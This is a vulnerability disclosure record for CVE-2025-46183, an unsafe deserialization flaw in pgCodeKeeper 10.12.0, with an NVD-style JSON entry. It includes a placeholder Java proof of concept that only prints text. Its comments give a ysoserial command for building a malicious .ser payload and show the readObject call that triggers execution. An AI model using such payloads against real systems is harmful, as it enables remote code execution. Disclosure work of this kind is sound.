CVE-2025-46183

import java.io.*; public class CVE_2025_46183_PoC { public static void main(String[] args) throws Exception { // This PoC demonstrates the deserialization vulnerability in pgCodeKeeper // The actual exploit would useysoserial or similar tool to generate malicious payload String maliciousSerFile = "malicious.ser"; // Generate payload using ysoserial: // java -jar ysoserial.jar CommonsCollections6 "command" > malicious.ser // Vulnerable code path in pgCodeKeeper: // Utils.deserialize(maliciousInputStream); System.out.println("PoC for CVE-2025-46183"); System.out.println("Target: pgCodeKeeper 10.12.0"); System.out.println("Vulnerability: Unsafe deserialization in Utils.deserialize"); System.out.println("Generated malicious .ser file can be loaded to achieve RCE"); // Example of vulnerable usage: // FileInputStream fis = new FileInputStream(maliciousSerFile); // ObjectInputStream ois = new ObjectInputStream(fis); // Object obj = ois.readObject(); // Triggers malicious code execution } }

{"cve": {"id": "CVE-2025-46183", "sourceIdentifier": "[email protected]", "published": "2025-10-24T14:15:41.647", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Utils.deserialize function in pgCodeKeeper 10.12.0 processes serialized data from untrusted sources. If an attacker provides a specially crafted .ser file, deserialization may result in unintended code execution or other malicious behavior on the target system."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/hacktimepro/vulnerabilities/blob/main/Disclosure_CVE-2025-46183_pgcodekeeper.md", "source": "[email protected]"}]}}